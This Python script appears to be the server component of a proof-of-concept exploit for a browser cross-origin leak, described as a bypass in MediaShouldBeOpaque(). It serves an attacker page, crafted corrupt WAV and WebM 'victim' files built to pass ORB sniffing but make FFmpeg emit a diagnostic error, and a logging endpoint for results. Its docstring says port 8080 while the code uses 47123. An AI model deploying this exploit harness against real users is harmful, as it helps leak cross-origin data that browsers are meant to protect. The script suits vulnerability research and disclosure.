#!/usr/bin/env python3
"""
HTTP server for the MediaShouldBeOpaque() preload-downgrade bypass POC.

Serves the attacker page on /poc.html and a cross-origin "victim" resource
on /victim that passes ORB media sniffing (WAV/RIFF magic) but fails FFmpeg
demuxing, producing a diagnostic error string that should be redacted for
no-CORS cross-origin loads.

Load the page from   http://localhost:8080/poc.html
The page sets src to http://127.0.0.1:8080/victim   (different origin)
"""
import http.server
import socketserver
import struct
import sys

PORT = 47123

# Build a corrupt WAV: valid RIFF/WAVE/fmt header so it sniffs as audio/wav
# (passes ORB), but the fmt chunk declares an absurd sample rate / channel
# count and the data chunk is truncated garbage so FFmpeg's demuxer rejects it.
def build_corrupt_wav():
    fmt = struct.pack('<HHIIHH',
                      0xFFFE,      # WAVE_FORMAT_EXTENSIBLE
                      0,           # 0 channels  -> invalid
                      0,           # 0 Hz sample rate -> invalid
                      0,           # byte rate
                      0,           # block align
                      0)           # bits per sample
    payload  = b'WAVE'
    payload += b'fmt ' + struct.pack('<I', len(fmt)) + fmt
    payload += b'data' + struct.pack('<I', 4) + b'\x00\x00\x00\x00'
    return b'RIFF' + struct.pack('<I', len(payload)) + payload

# Alternative victim: WebM/Matroska EBML magic followed by garbage. Sniffs as
# video/webm (passes ORB) but the Matroska demuxer fails to parse it.
def build_corrupt_webm():
    return bytes.fromhex('1a45dfa3') + b'\x9f' + b'\x00' * 64

VICTIM_WAV  = build_corrupt_wav()
VICTIM_WEBM = build_corrupt_webm()


class Handler(http.server.BaseHTTPRequestHandler):

    def _send(self, code, ctype, body, extra=None):
        self.send_response(code)
        self.send_header('Content-Type', ctype)
        self.send_header('Content-Length', str(len(body)))
        self.send_header('Accept-Ranges', 'bytes')
        self.send_header('Cache-Control', 'no-store')
        if extra:
            for k, v in extra.items():
                self.send_header(k, v)
        self.end_headers()
        self.wfile.write(body)

    def do_GET(self):
        p = self.path.split('?', 1)[0]
        if p == '/poc.html':
            with open('poc.html', 'rb') as f:
                self._send(200, 'text/html; charset=utf-8', f.read())
        elif p == '/victim':
            # No Access-Control-Allow-Origin header => opaque cross-origin.
            self._send(200, 'audio/wav', VICTIM_WAV)
        elif p == '/victim-webm':
            self._send(200, 'video/webm', VICTIM_WEBM)
        elif p == '/log':
            # Allow the page to surface results to stderr for headless runs.
            sys.stderr.write('[PAGE] ' + self.path.split('?', 1)[1] + '\n')
            sys.stderr.flush()
            self._send(200, 'text/plain', b'ok')
        else:
            self._send(404, 'text/plain', b'not found')

    def log_message(self, fmt, *args):
        sys.stderr.write('[HTTP] %s %s\n' % (self.address_string(), fmt % args))


class ReuseTCP(socketserver.TCPServer):
    allow_reuse_address = True


if __name__ == '__main__':
    with ReuseTCP(('127.0.0.1', PORT), Handler) as httpd:
        sys.stderr.write(f'serving on http://127.0.0.1:{PORT}\n')
        httpd.serve_forever()
